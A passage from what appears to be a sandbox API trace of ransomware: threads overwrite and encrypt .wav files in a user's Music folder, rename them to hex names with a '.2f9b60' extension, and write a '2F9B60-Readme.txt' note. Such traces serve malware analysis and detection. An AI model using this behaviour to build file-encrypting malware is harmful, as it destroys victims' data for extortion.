returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e34, _Format="%c%c" | out: _Dest="65") returned 2 [0218.988] sprintf (in: _Dest=0x1ce61e36, _Format="%c%c" | out: _Dest="20") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e38, _Format="%c%c" | out: _Dest="8d") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e3a, _Format="%c%c" | out: _Dest="3c") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e3c, _Format="%c%c" | out: _Dest="f6") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e3e, _Format="%c%c" | out: _Dest="4e") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e40, _Format="%c%c" | out: _Dest="f1") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e42, _Format="%c%c" | out: _Dest="37") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e44, _Format="%c%c" | out: _Dest="f7") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e46, _Format="%c%c" | out: _Dest="5a") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e48, _Format="%c%c" | out: _Dest="fe") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e4a, _Format="%c%c" | out: _Dest="74") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e4c, _Format="%c%c" | out: _Dest="39") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e4e, _Format="%c%c" | out: _Dest="28") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e50, _Format="%c%c" | out: _Dest="13") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e52, _Format="%c%c" | out: _Dest="99") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e54, _Format="%c%c" | out: _Dest="e2") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e56, _Format="%c%c" | out: _Dest="68") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e58, _Format="%c%c" | out: _Dest="b3") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e5a, _Format="%c%c" | out: _Dest="0a") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e5c, _Format="%c%c" | out: _Dest="34") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e5e, _Format="%c%c" | out: _Dest="e4") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e60, _Format="%c%c" | out: _Dest="30") returned 2 [0218.989] sprintf (in: _Dest=0x1ce61e62, _Format="%c%c" | out: _Dest="a4") returned 2 [0218.989] RtlInitAnsiString (in: DestinationString=0x3937fd08, SourceString="97612325b862ee85db4765208d3cf64ef137f75afe7439281399e268b30a34e430a4" | out: DestinationString="97612325b862ee85db4765208d3cf64ef137f75afe7439281399e268b30a34e430a4") [0218.989] RtlAnsiStringToUnicodeString (in: DestinationString=0x3937fcd8, SourceString="97612325b862ee85db4765208d3cf64ef137f75afe7439281399e268b30a34e430a4", AllocateDestinationString=1 | out: DestinationString="97612325b862ee85db4765208d3cf64ef137f75afe7439281399e268b30a34e430a4") returned 0x0 [0218.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4318c200 [0218.990] wcscat (in: _Dest=0x4318c160, _Source="97612325b862ee85d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\97612325b862ee85d") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\97612325b862ee85d" [0218.990] wcscat (in: _Dest=0x4318c160, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\97612325b862ee85d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\97612325b862ee85d.2f9b60" [0218.990] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\97612325b862ee85d.2f9b60", NtPathName=0x3937fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\97612325b862ee85d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43110ae0 Thread: id = 2132 os_tid = 0x14d0 [0139.420] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\660x xr3sizc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\660x xr3sizc.wav")) returned 0x20 [0139.420] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\660x xr3sizc.wav", dwFileAttributes=0x20) returned 1 [0139.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\660x xr3sizc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\660x xr3sizc.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c20 [0139.421] GetFileSizeEx (in: hFile=0x1c20, lpFileSize=0x3966fb20 | out: lpFileSize=0x3966fb20*=57942) returned 1 [0139.421] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0xe252, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.421] ReadFile (in: hFile=0x1c20, lpBuffer=0x3966faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3966fae8, lpOverlapped=0x0 | out: lpBuffer=0x3966faa0*, lpNumberOfBytesRead=0x3966fae8*=0x4, lpOverlapped=0x0) returned 1 [0139.422] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.423] NtQuerySystemTime (in: CurrentTime=0x3966f9e0 | out: CurrentTime=0x3966f9e0*=132462177446662000) returned 0x0 [0139.423] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x17bd77a1 [0139.423] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0xbcb6bfc [0139.423] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x4b5007c0 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x307d8294 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x36607d07 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x57983cb1 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x7d9c1fec [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x3cf2a062 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x5dd133ae [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x609b7422 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x3a966014 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x540f0279 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x3be43680 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x5d5337b3 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x6e4ac38f [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x25a4396d [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0xa6e618a [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x3b6707cd [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x6146d722 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x6d74af09 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x7c9ae4ed [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x574bbb45 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x3eafbd1b [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x2c081cd2 [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x15f65f3a [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x19cb918c [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x67a54e5f [0139.424] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x61c76162 [0139.425] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x443d240e [0139.425] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x7132c1ad [0139.425] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x27a2296b [0139.425] RtlRandomEx (in: Seed=0x3966f9d0 | out: Seed=0x3966f9d0) returned 0x188f03fc [0139.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b640 [0139.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b670 [0139.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42152140 [0139.437] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.437] ReadFile (in: hFile=0x1c20, lpBuffer=0x42152140, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3966fa40, lpOverlapped=0x0 | out: lpBuffer=0x42152140*, lpNumberOfBytesRead=0x3966fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0139.437] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42155d50 [0139.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.439] WriteFile (in: hFile=0x1c20, lpBuffer=0x42155d50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3966fa40, lpOverlapped=0x0 | out: lpBuffer=0x42155d50*, lpNumberOfBytesWritten=0x3966fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0139.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42155d50) returned 1 [0139.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42152140) returned 1 [0139.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda0270 [0139.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.492] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cda02b0 [0139.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b6d0 [0139.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b6d0) returned 1 [0139.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x168120 [0139.493] SetFilePointerEx (in: hFile=0x1c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0139.493] WriteFile (in: hFile=0x1c20, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3966faf0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x3966faf0*=0x112, lpOverlapped=0x0) returned 1 [0139.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7c0 [0139.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7c0) returned 1 [0139.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b7c0 [0139.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b850 [0139.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b880 [0139.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b880) returned 1 [0139.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1cd977b0 [0139.546] sprintf (in: _Dest=0x1cd977b0, _Format="%c%c" | out: _Dest="45") returned 2 [0139.546] sprintf (in: _Dest=0x1cd977b2, _Format="%c%c" | out: _Dest="06") returned 2 [0139.546] sprintf (in: _Dest=0x1cd977b4, _Format="%c%c" | out: _Dest="b0") returned 2 [0139.546] sprintf (in: _Dest=0x1cd977b6, _Format="%c%c" | out: _Dest="f5") returned 2 [0139.546] sprintf (in: _Dest=0x1cd977b8, _Format="%c%c" | out: _Dest="13") returned 2 [0139.546] sprintf (in: _Dest=0x1cd977ba, _Format="%c%c" | out: _Dest="11") returned 2 [0139.546] sprintf (in: _Dest=0x1cd977bc, _Format="%c%c" | out: _Dest="04") returned 2 [0139.546] sprintf (in: _Dest=0x1cd977be, _Format="%c%c" | out: _Dest="92") returned 2 [0139.546] sprintf (in: _Dest=0x1cd977c0, _Format="%c%c" | out: _Dest="f1") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977c2, _Format="%c%c" | out: _Dest="4a") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977c4, _Format="%c%c" | out: _Dest="ad") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977c6, _Format="%c%c" | out: _Dest="57") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977c8, _Format="%c%c" | out: _Dest="bb") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977ca, _Format="%c%c" | out: _Dest="62") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977cc, _Format="%c%c" | out: _Dest="46") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977ce, _Format="%c%c" | out: _Dest="46") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977d0, _Format="%c%c" | out: _Dest="9c") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977d2, _Format="%c%c" | out: _Dest="66") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977d4, _Format="%c%c" | out: _Dest="d7") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977d6, _Format="%c%c" | out: _Dest="26") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977d8, _Format="%c%c" | out: _Dest="0b") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977da, _Format="%c%c" | out: _Dest="2a") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977dc, _Format="%c%c" | out: _Dest="23") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977de, _Format="%c%c" | out: _Dest="0a") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977e0, _Format="%c%c" | out: _Dest="a2") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977e2, _Format="%c%c" | out: _Dest="77") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977e4, _Format="%c%c" | out: _Dest="3b") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977e6, _Format="%c%c" | out: _Dest="10") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977e8, _Format="%c%c" | out: _Dest="64") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977ea, _Format="%c%c" | out: _Dest="83") returned 2 [0139.547] sprintf (in: _Dest=0x1cd977ec, _Format="%c%c" | out: _Dest="d4") returned 2 [0139.548] sprintf (in: _Dest=0x1cd977ee, _Format="%c%c" | out: _Dest="89") returned 2 [0139.548] RtlInitAnsiString (in: DestinationString=0x3966fb68, SourceString="4506b0f513110492f14aad57bb6246469c66d7260b2a230aa2773b106483d489" | out: DestinationString="4506b0f513110492f14aad57bb6246469c66d7260b2a230aa2773b106483d489") [0139.548] RtlAnsiStringToUnicodeString (in: DestinationString=0x3966fb38, SourceString="4506b0f513110492f14aad57bb6246469c66d7260b2a230aa2773b106483d489", AllocateDestinationString=1 | out: DestinationString="4506b0f513110492f14aad57bb6246469c66d7260b2a230aa2773b106483d489") returned 0x0 [0139.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86b160 [0139.548] RtlFreeAnsiString (AnsiString="4") [0139.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b7c0) returned 1 [0139.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b850) returned 1 [0139.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0139.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda02b0) returned 1 [0139.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0270) returned 1 [0139.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b640) returned 1 [0139.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b670) returned 1 [0139.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205dcd0 [0139.550] wcscat (in: _Dest=0x4205dcd0, _Source="4506b0f513110492" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\4506b0f513110492") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\4506b0f513110492" [0139.550] wcscat (in: _Dest=0x4205dcd0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\4506b0f513110492.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\4506b0f513110492.2f9b60" [0139.550] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\4506b0f513110492.2f9b60", NtPathName=0x3966fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\4506b0f513110492.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0139.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107cc0 [0139.550] NtSetInformationFile (FileHandle=0x1c20, IoStatusBlock=0x3966fbb0, FileInformation=0x107cc0, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0139.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0139.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292c70) returned 1 [0139.553] NtQueryInformationFile (in: FileHandle=0x1c20, IoStatusBlock=0x3966fb78, FileInformation=0x3966fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3966fb78, FileInformation=0x3966fb88) returned 0x0 [0139.553] NtSetInformationFile (FileHandle=0x1c20, IoStatusBlock=0x3966fb78, FileInformation=0x3966fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0139.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0139.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b160) returned 1 [0139.555] FlushFileBuffers (hFile=0x1c20) returned 1 [0139.556] CloseHandle (hObject=0x1c20) returned 1 [0139.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205dcd0 [0139.562] wcscpy (in: _Dest=0x4205dcd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0139.562] wcscat (in: _Dest=0x4205dcd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" [0139.562] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\2f9b60-readme.txt")) returned 0xffffffff [0139.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bac [0139.563] WriteFile (in: hFile=0x1bac, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3966fa30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3966fa30*=0xba9, lpOverlapped=0x0) returned 1 [0139.564] CloseHandle (hObject=0x1bac) returned 1 [0139.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dcd0) returned 1 [0139.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cc30) returned 1 Thread: id = 2133 os_tid = 0x14d4 [0143.255] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\8Ja1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\8ja1.wav")) returned 0x20 [0143.255] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\8Ja1.wav", dwFileAttributes=0x20) returned 1 [0143.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\8Ja1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\8ja1.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dfc [0143.296] GetFileSizeEx (in: hFile=0x1dfc, lpFileSize=0x397cfe20 | out: lpFileSize=0x397cfe20*=38453) returned 1 [0143.296] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x9631, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.296] ReadFile (in: hFile=0x1dfc, lpBuffer=0x397cfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x397cfde8, lpOverlapped=0x0 | out: lpBuffer=0x397cfda0*, lpNumberOfBytesRead=0x397cfde8*=0x4, lpOverlapped=0x0) returned 1 [0143.297] SetFilePointerEx (in: hFile=0x1dfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0143.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe530 [0143.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4d0 [0143.297] NtQuerySystemTime (in: CurrentTime=0x397cfce0 | out: CurrentTime=0x397cfce0*=132462177485350000) returned 0x0 [0143.297] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x3ecc6ca2 [0143.297] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x5c13aab3 [0143.297] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x43e81e71 [0143.297] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x67da6396 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x691a3f48 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x58abfe4b [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x18568c52 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x336ee265 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x77132ced [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x4f904fc9 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x59c4aff4 [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: Seed=0x397cfcd0) returned 0x60b86bac [0143.298] RtlRandomEx (in: Seed=0x397cfcd0 | out: 